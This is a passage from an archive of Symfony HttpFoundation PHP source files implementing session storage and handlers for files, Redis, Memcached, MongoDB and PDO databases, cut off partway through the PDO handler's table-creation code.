'MOCKSESSID', MetadataBag $metaBag = null) { $this->name = $name; $this->setMetadataBag($metaBag); } /** * @return void */ public function setSessionData(array $array) { $this->data = $array; } public function start(): bool { if ($this->started) { return true; } if (empty($this->id)) { $this->id = $this->generateId(); } $this->loadSession(); return true; } public function regenerate(bool $destroy = false, int $lifetime = null): bool { if (!$this->started) { $this->start(); } $this->metadataBag->stampNew($lifetime); $this->id = $this->generateId(); return true; } public function getId(): string { return $this->id; } /** * @return void */ public function setId(string $id) { if ($this->started) { throw new \LogicException('Cannot set session ID after the session has started.'); } $this->id = $id; } public function getName(): string { return $this->name; } /** * @return void */ public function setName(string $name) { $this->name = $name; } /** * @return void */ public function save() { if (!$this->started || $this->closed) { throw new \RuntimeException('Trying to save a session that was not started yet or was already closed.'); } // nothing to do since we don't persist the session data $this->closed = false; $this->started = false; } /** * @return void */ public function clear() { // clear out the bags foreach ($this->bags as $bag) { $bag->clear(); } // clear out the session $this->data = []; // reconnect the bags to the session $this->loadSession(); } /** * @return void */ public function registerBag(SessionBagInterface $bag) { $this->bags[$bag->getName()] = $bag; } public function getBag(string $name): SessionBagInterface { if (!isset($this->bags[$name])) { throw new \InvalidArgumentException(sprintf('The SessionBagInterface "%s" is not registered.', $name)); } if (!$this->started) { $this->start(); } return $this->bags[$name]; } public function isStarted(): bool { return $this->started; } /** * @return void */ public function setMetadataBag(MetadataBag $bag = null) { if (1 > \func_num_args()) { trigger_deprecation('symfony/http-foundation', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->metadataBag = $bag ?? new MetadataBag(); } /** * Gets the MetadataBag. */ public function getMetadataBag(): MetadataBag { return $this->metadataBag; } /** * Generates a session ID. * * This doesn't need to be particularly cryptographically secure since this is just * a mock. */ protected function generateId(): string { return hash('sha256', uniqid('ss_mock_', true)); } /** * @return void */ protected function loadSession() { $bags = array_merge($this->bags, [$this->metadataBag]); foreach ($bags as $bag) { $key = $bag->getStorageKey(); $this->data[$key] ??= []; $bag->initialize($this->data[$key]); } $this->started = true; $this->closed = false; } } http-foundation/Session/Storage/PhpBridgeSessionStorageFactory.php000064400000002527151113511500021513 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Session\Storage\Proxy\AbstractProxy; // Help opcache.preload discover always-needed symbols class_exists(PhpBridgeSessionStorage::class); /** * @author Jérémy Derussé */ class PhpBridgeSessionStorageFactory implements SessionStorageFactoryInterface { private AbstractProxy|\SessionHandlerInterface|null $handler; private ?MetadataBag $metaBag; private bool $secure; public function __construct(AbstractProxy|\SessionHandlerInterface $handler = null, MetadataBag $metaBag = null, bool $secure = false) { $this->handler = $handler; $this->metaBag = $metaBag; $this->secure = $secure; } public function createStorage(?Request $request): SessionStorageInterface { $storage = new PhpBridgeSessionStorage($this->handler, $this->metaBag); if ($this->secure && $request?->isSecure()) { $storage->setOptions(['cookie_secure' => true]); } return $storage; } } http-foundation/Session/Storage/Handler/NativeFileSessionHandler.php000064400000003604151113511500021670 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; /** * Native session handler using PHP's built in file storage. * * @author Drak */ class NativeFileSessionHandler extends \SessionHandler { /** * @param string|null $savePath Path of directory to save session files * Default null will leave setting as defined by PHP. * '/path', 'N;/path', or 'N;octal-mode;/path * * @see https://php.net/session.configuration#ini.session.save-path for further details. * * @throws \InvalidArgumentException On invalid $savePath * @throws \RuntimeException When failing to create the save directory */ public function __construct(string $savePath = null) { $baseDir = $savePath ??= \ini_get('session.save_path'); if ($count = substr_count($savePath, ';')) { if ($count > 2) { throw new \InvalidArgumentException(sprintf('Invalid argument $savePath \'%s\'.', $savePath)); } // characters after last ';' are the path $baseDir = ltrim(strrchr($savePath, ';'), ';'); } if ($baseDir && !is_dir($baseDir) && !@mkdir($baseDir, 0777, true) && !is_dir($baseDir)) { throw new \RuntimeException(sprintf('Session Storage was not able to create directory "%s".', $baseDir)); } if ($savePath !== \ini_get('session.save_path')) { ini_set('session.save_path', $savePath); } if ('files' !== \ini_get('session.save_handler')) { ini_set('session.save_handler', 'files'); } } } http-foundation/Session/Storage/Handler/SessionHandlerFactory.php000064400000010513151113511500021246 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; use Doctrine\DBAL\Configuration; use Doctrine\DBAL\DriverManager; use Doctrine\DBAL\Schema\DefaultSchemaManagerFactory; use Doctrine\DBAL\Tools\DsnParser; use Relay\Relay; use Symfony\Component\Cache\Adapter\AbstractAdapter; /** * @author Nicolas Grekas */ class SessionHandlerFactory { public static function createHandler(object|string $connection, array $options = []): AbstractSessionHandler { if ($query = \is_string($connection) ? parse_url($connection) : false) { parse_str($query['query'] ?? '', $query); if (($options['ttl'] ?? null) instanceof \Closure) { $query['ttl'] = $options['ttl']; } } $options = ($query ?: []) + $options; switch (true) { case $connection instanceof \Redis: case $connection instanceof Relay: case $connection instanceof \RedisArray: case $connection instanceof \RedisCluster: case $connection instanceof \Predis\ClientInterface: return new RedisSessionHandler($connection); case $connection instanceof \Memcached: return new MemcachedSessionHandler($connection); case $connection instanceof \PDO: return new PdoSessionHandler($connection); case !\is_string($connection): throw new \InvalidArgumentException(sprintf('Unsupported Connection: "%s".', get_debug_type($connection))); case str_starts_with($connection, 'file://'): $savePath = substr($connection, 7); return new StrictSessionHandler(new NativeFileSessionHandler('' === $savePath ? null : $savePath)); case str_starts_with($connection, 'redis:'): case str_starts_with($connection, 'rediss:'): case str_starts_with($connection, 'memcached:'): if (!class_exists(AbstractAdapter::class)) { throw new \InvalidArgumentException('Unsupported Redis or Memcached DSN. Try running "composer require symfony/cache".'); } $handlerClass = str_starts_with($connection, 'memcached:') ? MemcachedSessionHandler::class : RedisSessionHandler::class; $connection = AbstractAdapter::createConnection($connection, ['lazy' => true]); return new $handlerClass($connection, array_intersect_key($options, ['prefix' => 1, 'ttl' => 1])); case str_starts_with($connection, 'pdo_oci://'): if (!class_exists(DriverManager::class)) { throw new \InvalidArgumentException('Unsupported PDO OCI DSN. Try running "composer require doctrine/dbal".'); } $connection[3] = '-'; $params = class_exists(DsnParser::class) ? (new DsnParser())->parse($connection) : ['url' => $connection]; $config = new Configuration(); if (class_exists(DefaultSchemaManagerFactory::class)) { $config->setSchemaManagerFactory(new DefaultSchemaManagerFactory()); } $connection = DriverManager::getConnection($params, $config); $connection = method_exists($connection, 'getNativeConnection') ? $connection->getNativeConnection() : $connection->getWrappedConnection(); // no break; case str_starts_with($connection, 'mssql://'): case str_starts_with($connection, 'mysql://'): case str_starts_with($connection, 'mysql2://'): case str_starts_with($connection, 'pgsql://'): case str_starts_with($connection, 'postgres://'): case str_starts_with($connection, 'postgresql://'): case str_starts_with($connection, 'sqlsrv://'): case str_starts_with($connection, 'sqlite://'): case str_starts_with($connection, 'sqlite3://'): return new PdoSessionHandler($connection, $options); } throw new \InvalidArgumentException(sprintf('Unsupported Connection: "%s".', $connection)); } } http-foundation/Session/Storage/Handler/RedisSessionHandler.php000064400000005663151113511500020717 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; use Predis\Response\ErrorInterface; use Relay\Relay; /** * Redis based session storage handler based on the Redis class * provided by the PHP redis extension. * * @author Dalibor Karlović */ class RedisSessionHandler extends AbstractSessionHandler { /** * Key prefix for shared environments. */ private string $prefix; /** * Time to live in seconds. */ private int|\Closure|null $ttl; /** * List of available options: * * prefix: The prefix to use for the keys in order to avoid collision on the Redis server * * ttl: The time to live in seconds. * * @throws \InvalidArgumentException When unsupported client or options are passed */ public function __construct( private \Redis|Relay|\RedisArray|\RedisCluster|\Predis\ClientInterface $redis, array $options = [], ) { if ($diff = array_diff(array_keys($options), ['prefix', 'ttl'])) { throw new \InvalidArgumentException(sprintf('The following options are not supported "%s".', implode(', ', $diff))); } $this->prefix = $options['prefix'] ?? 'sf_s'; $this->ttl = $options['ttl'] ?? null; } protected function doRead(#[\SensitiveParameter] string $sessionId): string { return $this->redis->get($this->prefix.$sessionId) ?: ''; } protected function doWrite(#[\SensitiveParameter] string $sessionId, string $data): bool { $ttl = ($this->ttl instanceof \Closure ? ($this->ttl)() : $this->ttl) ?? \ini_get('session.gc_maxlifetime'); $result = $this->redis->setEx($this->prefix.$sessionId, (int) $ttl, $data); return $result && !$result instanceof ErrorInterface; } protected function doDestroy(#[\SensitiveParameter] string $sessionId): bool { static $unlink = true; if ($unlink) { try { $unlink = false !== $this->redis->unlink($this->prefix.$sessionId); } catch (\Throwable) { $unlink = false; } } if (!$unlink) { $this->redis->del($this->prefix.$sessionId); } return true; } #[\ReturnTypeWillChange] public function close(): bool { return true; } public function gc(int $maxlifetime): int|false { return 0; } public function updateTimestamp(#[\SensitiveParameter] string $sessionId, string $data): bool { $ttl = ($this->ttl instanceof \Closure ? ($this->ttl)() : $this->ttl) ?? \ini_get('session.gc_maxlifetime'); return $this->redis->expire($this->prefix.$sessionId, (int) $ttl); } } http-foundation/Session/Storage/Handler/NullSessionHandler.php000064400000002345151113511500020555 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; /** * Can be used in unit testing or in a situations where persisted sessions are not desired. * * @author Drak */ class NullSessionHandler extends AbstractSessionHandler { public function close(): bool { return true; } public function validateId(#[\SensitiveParameter] string $sessionId): bool { return true; } protected function doRead(#[\SensitiveParameter] string $sessionId): string { return ''; } public function updateTimestamp(#[\SensitiveParameter] string $sessionId, string $data): bool { return true; } protected function doWrite(#[\SensitiveParameter] string $sessionId, string $data): bool { return true; } protected function doDestroy(#[\SensitiveParameter] string $sessionId): bool { return true; } public function gc(int $maxlifetime): int|false { return 0; } } http-foundation/Session/Storage/Handler/MemcachedSessionHandler.php000064400000006325151113511500021513 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; /** * Memcached based session storage handler based on the Memcached class * provided by the PHP memcached extension. * * @see https://php.net/memcached * * @author Drak */ class MemcachedSessionHandler extends AbstractSessionHandler { private \Memcached $memcached; /** * Time to live in seconds. */ private int|\Closure|null $ttl; /** * Key prefix for shared environments. */ private string $prefix; /** * Constructor. * * List of available options: * * prefix: The prefix to use for the memcached keys in order to avoid collision * * ttl: The time to live in seconds. * * @throws \InvalidArgumentException When unsupported options are passed */ public function __construct(\Memcached $memcached, array $options = []) { $this->memcached = $memcached; if ($diff = array_diff(array_keys($options), ['prefix', 'expiretime', 'ttl'])) { throw new \InvalidArgumentException(sprintf('The following options are not supported "%s".', implode(', ', $diff))); } $this->ttl = $options['expiretime'] ?? $options['ttl'] ?? null; $this->prefix = $options['prefix'] ?? 'sf2s'; } public function close(): bool { return $this->memcached->quit(); } protected function doRead(#[\SensitiveParameter] string $sessionId): string { return $this->memcached->get($this->prefix.$sessionId) ?: ''; } public function updateTimestamp(#[\SensitiveParameter] string $sessionId, string $data): bool { $this->memcached->touch($this->prefix.$sessionId, $this->getCompatibleTtl()); return true; } protected function doWrite(#[\SensitiveParameter] string $sessionId, string $data): bool { return $this->memcached->set($this->prefix.$sessionId, $data, $this->getCompatibleTtl()); } private function getCompatibleTtl(): int { $ttl = ($this->ttl instanceof \Closure ? ($this->ttl)() : $this->ttl) ?? \ini_get('session.gc_maxlifetime'); // If the relative TTL that is used exceeds 30 days, memcached will treat the value as Unix time. // We have to convert it to an absolute Unix time at this point, to make sure the TTL is correct. if ($ttl > 60 * 60 * 24 * 30) { $ttl += time(); } return $ttl; } protected function doDestroy(#[\SensitiveParameter] string $sessionId): bool { $result = $this->memcached->delete($this->prefix.$sessionId); return $result || \Memcached::RES_NOTFOUND == $this->memcached->getResultCode(); } public function gc(int $maxlifetime): int|false { // not required here because memcached will auto expire the records anyhow. return 0; } /** * Return a Memcached instance. */ protected function getMemcached(): \Memcached { return $this->memcached; } } http-foundation/Session/Storage/Handler/IdentityMarshaller.php000064400000001602151113511500020600 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; use Symfony\Component\Cache\Marshaller\MarshallerInterface; /** * @author Ahmed TAILOULOUTE */ class IdentityMarshaller implements MarshallerInterface { public function marshall(array $values, ?array &$failed): array { foreach ($values as $key => $value) { if (!\is_string($value)) { throw new \LogicException(sprintf('%s accepts only string as data.', __METHOD__)); } } return $values; } public function unmarshall(string $value): string { return $value; } } http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php000064400000012347151113511500021173 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; use MongoDB\BSON\Binary; use MongoDB\BSON\UTCDateTime; use MongoDB\Client; use MongoDB\Collection; /** * Session handler using the mongodb/mongodb package and MongoDB driver extension. * * @author Markus Bachmann * * @see https://packagist.org/packages/mongodb/mongodb * @see https://php.net/mongodb */ class MongoDbSessionHandler extends AbstractSessionHandler { private Client $mongo; private Collection $collection; private array $options; private int|\Closure|null $ttl; /** * Constructor. * * List of available options: * * database: The name of the database [required] * * collection: The name of the collection [required] * * id_field: The field name for storing the session id [default: _id] * * data_field: The field name for storing the session data [default: data] * * time_field: The field name for storing the timestamp [default: time] * * expiry_field: The field name for storing the expiry-timestamp [default: expires_at] * * ttl: The time to live in seconds. * * It is strongly recommended to put an index on the `expiry_field` for * garbage-collection. Alternatively it's possible to automatically expire * the sessions in the database as described below: * * A TTL collections can be used on MongoDB 2.2+ to cleanup expired sessions * automatically. Such an index can for example look like this: * * db..createIndex( * { "": 1 }, * { "expireAfterSeconds": 0 } * ) * * More details on: https://docs.mongodb.org/manual/tutorial/expire-data/ * * If you use such an index, you can drop `gc_probability` to 0 since * no garbage-collection is required. * * @throws \InvalidArgumentException When "database" or "collection" not provided */ public function __construct(Client $mongo, array $options) { if (!isset($options['database']) || !isset($options['collection'])) { throw new \InvalidArgumentException('You must provide the "database" and "collection" option for MongoDBSessionHandler.'); } $this->mongo = $mongo; $this->options = array_merge([ 'id_field' => '_id', 'data_field' => 'data', 'time_field' => 'time', 'expiry_field' => 'expires_at', ], $options); $this->ttl = $this->options['ttl'] ?? null; } public function close(): bool { return true; } protected function doDestroy(#[\SensitiveParameter] string $sessionId): bool { $this->getCollection()->deleteOne([ $this->options['id_field'] => $sessionId, ]); return true; } public function gc(int $maxlifetime): int|false { return $this->getCollection()->deleteMany([ $this->options['expiry_field'] => ['$lt' => new UTCDateTime()], ])->getDeletedCount(); } protected function doWrite(#[\SensitiveParameter] string $sessionId, string $data): bool { $ttl = ($this->ttl instanceof \Closure ? ($this->ttl)() : $this->ttl) ?? \ini_get('session.gc_maxlifetime'); $expiry = new UTCDateTime((time() + (int) $ttl) * 1000); $fields = [ $this->options['time_field'] => new UTCDateTime(), $this->options['expiry_field'] => $expiry, $this->options['data_field'] => new Binary($data, Binary::TYPE_OLD_BINARY), ]; $this->getCollection()->updateOne( [$this->options['id_field'] => $sessionId], ['$set' => $fields], ['upsert' => true] ); return true; } public function updateTimestamp(#[\SensitiveParameter] string $sessionId, string $data): bool { $ttl = ($this->ttl instanceof \Closure ? ($this->ttl)() : $this->ttl) ?? \ini_get('session.gc_maxlifetime'); $expiry = new UTCDateTime((time() + (int) $ttl) * 1000); $this->getCollection()->updateOne( [$this->options['id_field'] => $sessionId], ['$set' => [ $this->options['time_field'] => new UTCDateTime(), $this->options['expiry_field'] => $expiry, ]] ); return true; } protected function doRead(#[\SensitiveParameter] string $sessionId): string { $dbData = $this->getCollection()->findOne([ $this->options['id_field'] => $sessionId, $this->options['expiry_field'] => ['$gte' => new UTCDateTime()], ]); if (null === $dbData) { return ''; } return $dbData[$this->options['data_field']]->getData(); } private function getCollection(): Collection { return $this->collection ??= $this->mongo->selectCollection($this->options['database'], $this->options['collection']); } protected function getMongo(): Client { return $this->mongo; } } http-foundation/Session/Storage/Handler/MarshallingSessionHandler.php000064400000004144151113511500022103 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; use Symfony\Component\Cache\Marshaller\MarshallerInterface; /** * @author Ahmed TAILOULOUTE */ class MarshallingSessionHandler implements \SessionHandlerInterface, \SessionUpdateTimestampHandlerInterface { private AbstractSessionHandler $handler; private MarshallerInterface $marshaller; public function __construct(AbstractSessionHandler $handler, MarshallerInterface $marshaller) { $this->handler = $handler; $this->marshaller = $marshaller; } public function open(string $savePath, string $name): bool { return $this->handler->open($savePath, $name); } public function close(): bool { return $this->handler->close(); } public function destroy(#[\SensitiveParameter] string $sessionId): bool { return $this->handler->destroy($sessionId); } public function gc(int $maxlifetime): int|false { return $this->handler->gc($maxlifetime); } public function read(#[\SensitiveParameter] string $sessionId): string { return $this->marshaller->unmarshall($this->handler->read($sessionId)); } public function write(#[\SensitiveParameter] string $sessionId, string $data): bool { $failed = []; $marshalledData = $this->marshaller->marshall(['data' => $data], $failed); if (isset($failed['data'])) { return false; } return $this->handler->write($sessionId, $marshalledData['data']); } public function validateId(#[\SensitiveParameter] string $sessionId): bool { return $this->handler->validateId($sessionId); } public function updateTimestamp(#[\SensitiveParameter] string $sessionId, string $data): bool { return $this->handler->updateTimestamp($sessionId, $data); } } http-foundation/Session/Storage/Handler/MigratingSessionHandler.php000064400000006362151113511500021567 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; /** * Migrating session handler for migrating from one handler to another. It reads * from the current handler and writes both the current and new ones. * * It ignores errors from the new handler. * * @author Ross Motley * @author Oliver Radwell */ class MigratingSessionHandler implements \SessionHandlerInterface, \SessionUpdateTimestampHandlerInterface { private \SessionHandlerInterface&\SessionUpdateTimestampHandlerInterface $currentHandler; private \SessionHandlerInterface&\SessionUpdateTimestampHandlerInterface $writeOnlyHandler; public function __construct(\SessionHandlerInterface $currentHandler, \SessionHandlerInterface $writeOnlyHandler) { if (!$currentHandler instanceof \SessionUpdateTimestampHandlerInterface) { $currentHandler = new StrictSessionHandler($currentHandler); } if (!$writeOnlyHandler instanceof \SessionUpdateTimestampHandlerInterface) { $writeOnlyHandler = new StrictSessionHandler($writeOnlyHandler); } $this->currentHandler = $currentHandler; $this->writeOnlyHandler = $writeOnlyHandler; } public function close(): bool { $result = $this->currentHandler->close(); $this->writeOnlyHandler->close(); return $result; } public function destroy(#[\SensitiveParameter] string $sessionId): bool { $result = $this->currentHandler->destroy($sessionId); $this->writeOnlyHandler->destroy($sessionId); return $result; } public function gc(int $maxlifetime): int|false { $result = $this->currentHandler->gc($maxlifetime); $this->writeOnlyHandler->gc($maxlifetime); return $result; } public function open(string $savePath, string $sessionName): bool { $result = $this->currentHandler->open($savePath, $sessionName); $this->writeOnlyHandler->open($savePath, $sessionName); return $result; } public function read(#[\SensitiveParameter] string $sessionId): string { // No reading from new handler until switch-over return $this->currentHandler->read($sessionId); } public function write(#[\SensitiveParameter] string $sessionId, string $sessionData): bool { $result = $this->currentHandler->write($sessionId, $sessionData); $this->writeOnlyHandler->write($sessionId, $sessionData); return $result; } public function validateId(#[\SensitiveParameter] string $sessionId): bool { // No reading from new handler until switch-over return $this->currentHandler->validateId($sessionId); } public function updateTimestamp(#[\SensitiveParameter] string $sessionId, string $sessionData): bool { $result = $this->currentHandler->updateTimestamp($sessionId, $sessionData); $this->writeOnlyHandler->updateTimestamp($sessionId, $sessionData); return $result; } } http-foundation/Session/Storage/Handler/StrictSessionHandler.php000064400000004747151113511500021123 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; /** * Adds basic `SessionUpdateTimestampHandlerInterface` behaviors to another `SessionHandlerInterface`. * * @author Nicolas Grekas */ class StrictSessionHandler extends AbstractSessionHandler { private \SessionHandlerInterface $handler; private bool $doDestroy; public function __construct(\SessionHandlerInterface $handler) { if ($handler instanceof \SessionUpdateTimestampHandlerInterface) { throw new \LogicException(sprintf('"%s" is already an instance of "SessionUpdateTimestampHandlerInterface", you cannot wrap it with "%s".', get_debug_type($handler), self::class)); } $this->handler = $handler; } /** * Returns true if this handler wraps an internal PHP session save handler using \SessionHandler. * * @internal */ public function isWrapper(): bool { return $this->handler instanceof \SessionHandler; } public function open(string $savePath, string $sessionName): bool { parent::open($savePath, $sessionName); return $this->handler->open($savePath, $sessionName); } protected function doRead(#[\SensitiveParameter] string $sessionId): string { return $this->handler->read($sessionId); } public function updateTimestamp(#[\SensitiveParameter] string $sessionId, string $data): bool { return $this->write($sessionId, $data); } protected function doWrite(#[\SensitiveParameter] string $sessionId, string $data): bool { return $this->handler->write($sessionId, $data); } public function destroy(#[\SensitiveParameter] string $sessionId): bool { $this->doDestroy = true; $destroyed = parent::destroy($sessionId); return $this->doDestroy ? $this->doDestroy($sessionId) : $destroyed; } protected function doDestroy(#[\SensitiveParameter] string $sessionId): bool { $this->doDestroy = false; return $this->handler->destroy($sessionId); } public function close(): bool { return $this->handler->close(); } public function gc(int $maxlifetime): int|false { return $this->handler->gc($maxlifetime); } } http-foundation/Session/Storage/Handler/PdoSessionHandler.php000064400000114403151113511500020364 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; use Doctrine\DBAL\Schema\Schema; use Doctrine\DBAL\Types\Types; /** * Session handler using a PDO connection to read and write data. * * It works with MySQL, PostgreSQL, Oracle, SQL Server and SQLite and implements * different locking strategies to handle concurrent access to the same session. * Locking is necessary to prevent loss of data due to race conditions and to keep * the session data consistent between read() and write(). With locking, requests * for the same session will wait until the other one finished writing. For this * reason it's best practice to close a session as early as possible to improve * concurrency. PHPs internal files session handler also implements locking. * * Attention: Since SQLite does not support row level locks but locks the whole database, * it means only one session can be accessed at a time. Even different sessions would wait * for another to finish. So saving session in SQLite should only be considered for * development or prototypes. * * Session data is a binary string that can contain non-printable characters like the null byte. * For this reason it must be saved in a binary column in the database like BLOB in MySQL. * Saving it in a character column could corrupt the data. You can use createTable() * to initialize a correctly defined table. * * @see https://php.net/sessionhandlerinterface * * @author Fabien Potencier * @author Michael Williams * @author Tobias Schultze */ class PdoSessionHandler extends AbstractSessionHandler { /** * No locking is done. This means sessions are prone to loss of data due to * race conditions of concurrent requests to the same session. The last session * write will win in this case. It might be useful when you implement your own * logic to deal with this like an optimistic approach. */ public const LOCK_NONE = 0; /** * Creates an application-level lock on a session. The disadvantage is that the * lock is not enforced by the database and thus other, unaware parts of the * application could still concurrently modify the session. The advantage is it * does not require a transaction. * This mode is not available for SQLite and not yet implemented for oci and sqlsrv. */ public const LOCK_ADVISORY = 1; /** * Issues a real row lock. Since it uses a transaction between opening and * closing a session, you have to be careful when you use same database connection * that you also use for your application logic. This mode is the default because * it's the only reliable solution across DBMSs. */ public const LOCK_TRANSACTIONAL = 2; private \PDO $pdo; /** * DSN string or null for session.save_path or false when lazy connection disabled. */ private string|false|null $dsn = false; private string $driver; private string $table = 'sessions'; private string $idCol = 'sess_id'; private string $dataCol = 'sess_data'; private string $lifetimeCol = 'sess_lifetime'; private string $timeCol = 'sess_time'; /** * Time to live in seconds. */ private int|\Closure|null $ttl; /** * Username when lazy-connect. */ private string $username = ''; /** * Password when lazy-connect. */ private string $password = ''; /** * Connection options when lazy-connect. */ private array $connectionOptions = []; /** * The strategy for locking, see constants. */ private int $lockMode = self::LOCK_TRANSACTIONAL; /** * It's an array to support multiple reads before closing which is manual, non-standard usage. * * @var \PDOStatement[] An array of statements to release advisory locks */ private array $unlockStatements = []; /** * True when the current session exists but expired according to session.gc_maxlifetime. */ private bool $sessionExpired = false; /** * Whether a transaction is active. */ private bool $inTransaction = false; /** * Whether gc() has been called. */ private bool $gcCalled = false; /** * You can either pass an existing database connection as PDO instance or * pass a DSN string that will be used to lazy-connect to the database * when the session is actually used. Furthermore it's possible to pass null * which will then use the session.save_path ini setting as PDO DSN parameter. * * List of available options: * * db_table: The name of the table [default: sessions] * * db_id_col: The column where to store the session id [default: sess_id] * * db_data_col: The column where to store the session data [default: sess_data] * * db_lifetime_col: The column where to store the lifetime [default: sess_lifetime] * * db_time_col: The column where to store the timestamp [default: sess_time] * * db_username: The username when lazy-connect [default: ''] * * db_password: The password when lazy-connect [default: ''] * * db_connection_options: An array of driver-specific connection options [default: []] * * lock_mode: The strategy for locking, see constants [default: LOCK_TRANSACTIONAL] * * ttl: The time to live in seconds. * * @param \PDO|string|null $pdoOrDsn A \PDO instance or DSN string or URL string or null * * @throws \InvalidArgumentException When PDO error mode is not PDO::ERRMODE_EXCEPTION */ public function __construct(#[\SensitiveParameter] \PDO|string $pdoOrDsn = null, #[\SensitiveParameter] array $options = []) { if ($pdoOrDsn instanceof \PDO) { if (\PDO::ERRMODE_EXCEPTION !== $pdoOrDsn->getAttribute(\PDO::ATTR_ERRMODE)) { throw new \InvalidArgumentException(sprintf('"%s" requires PDO error mode attribute be set to throw Exceptions (i.e. $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION)).', __CLASS__)); } $this->pdo = $pdoOrDsn; $this->driver = $this->pdo->getAttribute(\PDO::ATTR_DRIVER_NAME); } elseif (\is_string($pdoOrDsn) && str_contains($pdoOrDsn, '://')) { $this->dsn = $this->buildDsnFromUrl($pdoOrDsn); } else { $this->dsn = $pdoOrDsn; } $this->table = $options['db_table'] ?? $this->table; $this->idCol = $options['db_id_col'] ?? $this->idCol; $this->dataCol = $options['db_data_col'] ?? $this->dataCol; $this->lifetimeCol = $options['db_lifetime_col'] ?? $this->lifetimeCol; $this->timeCol = $options['db_time_col'] ?? $this->timeCol; $this->username = $options['db_username'] ?? $this->username; $this->password = $options['db_password'] ?? $this->password; $this->connectionOptions = $options['db_connection_options'] ?? $this->connectionOptions; $this->lockMode = $options['lock_mode'] ?? $this->lockMode; $this->ttl = $options['ttl'] ?? null; } /** * Adds the Table to the Schema if it doesn't exist. */ public function configureSchema(Schema $schema, \Closure $isSameDatabase = null): void { if ($schema->hasTable($this->table) || ($isSameDatabase && !$isSameDatabase($this->getConnection()->exec(...)))) { return; } $table = $schema->createTable($this->table); switch ($this->driver) { case 'mysql': $table->addColumn($this->idCol, Types::BINARY)->setLength(128)->setNotnull(true); $table->addColumn($this->dataCol, Types::BLOB)->setNotnull(true); $table->addColumn($this->lifetimeCol, Types::INTEGER)->setUnsigned(true)->setNotnull(true); $table->addColumn($this->timeCol, Types::INTEGER)->setUnsigned(true)->setNotnull(true); $table->addOption('collate', 'utf8mb4_bin'); $table->addOption('engine', 'InnoDB'); break; case 'sqlite': $table->addColumn($this->idCol, Types::TEXT)->setNotnull(true); $table->addColumn($this->dataCol, Types::BLOB)->setNotnull(true); $table->addColumn($this->lifetimeCol, Types::INTEGER)->setNotnull(true); $table->addColumn($this->timeCol, Types::INTEGER)->setNotnull(true); break; case 'pgsql': $table->addColumn($this->idCol, Types::STRING)->setLength(128)->setNotnull(true); $table->addColumn($this->dataCol, Types::BINARY)->setNotnull(true); $table->addColumn($this->lifetimeCol, Types::INTEGER)->setNotnull(true); $table->addColumn($this->timeCol, Types::INTEGER)->setNotnull(true); break; case 'oci': $table->addColumn($this->idCol, Types::STRING)->setLength(128)->setNotnull(true); $table->addColumn($this->dataCol, Types::BLOB)->setNotnull(true); $table->addColumn($this->lifetimeCol, Types::INTEGER)->setNotnull(true); $table->addColumn($this->timeCol, Types::INTEGER)->setNotnull(true); break; case 'sqlsrv': $table->addColumn($this->idCol, Types::TEXT)->setLength(128)->setNotnull(true); $table->addColumn($this->dataCol, Types::BLOB)->setNotnull(true); $table->addColumn($this->lifetimeCol, Types::INTEGER)->setUnsigned(true)->setNotnull(true); $table->addColumn($this->timeCol, Types::INTEGER)->setUnsigned(true)->setNotnull(true); break; default: throw new \DomainException(sprintf('Creating the session table is currently not implemented for PDO driver "%s".', $this->driver)); } $table->setPrimaryKey([$this->idCol]); $table->addIndex([$this->lifetimeCol], $this->lifetimeCol.'_idx'); } /** * Creates the table to store sessions which can be called once for setup. * * Session ID is saved in a column of maximum length 128 because that is enough even * for a 512 bit configured session.hash_function like Whirlpool. Session data is * saved in a BLOB. One could also use a shorter inlined varbinary column * if one was sure the data fits into it. * * @return void * * @throws \PDOException When the table already exists * @throws \DomainException When an unsupported PDO driver is used */ public function createTable() { // connect if we are not yet $this->getConnection(); $sql = match ($this->driver) { // We use varbinary for the ID column because it prevents unwanted conversions: // - character set conversions between server and client // - trailing space removal // - case-insensitivity // - language processing like é == e 'mysql' => "CREATE TABLE $this->table ($this->idCol VARBINARY(128) NOT NULL PRIMARY KEY, $this->dataCol BLOB NOT NULL, $this->lifetimeCol INTEGER UNSIGNED NOT NULL, $this->timeCol INTEGER UNSIGNED NOT NULL) COLLATE utf8mb4_bin, ENGINE = InnoDB", 'sqlite' => "CREATE TABLE $this->table ($this->idCol TEXT NOT NULL PRIMARY KEY, $this->dataCol BLOB NOT NULL, $this->lifetimeCol INTEGER NOT NULL, $this->timeCol INTEGER NOT NULL)", 'pgsql' => "CREATE TABLE $this->table ($this->idCol VARCHAR(128) NOT NULL PRIMARY KEY, $this->dataCol BYTEA NOT NULL, $this->lifetimeCol INTEGER NOT NULL, $this->timeCol INTEGER NOT NULL)", 'oci' => "CREATE TABLE $this->table ($this->idCol VARCHAR2(128) NOT NULL PRIMARY 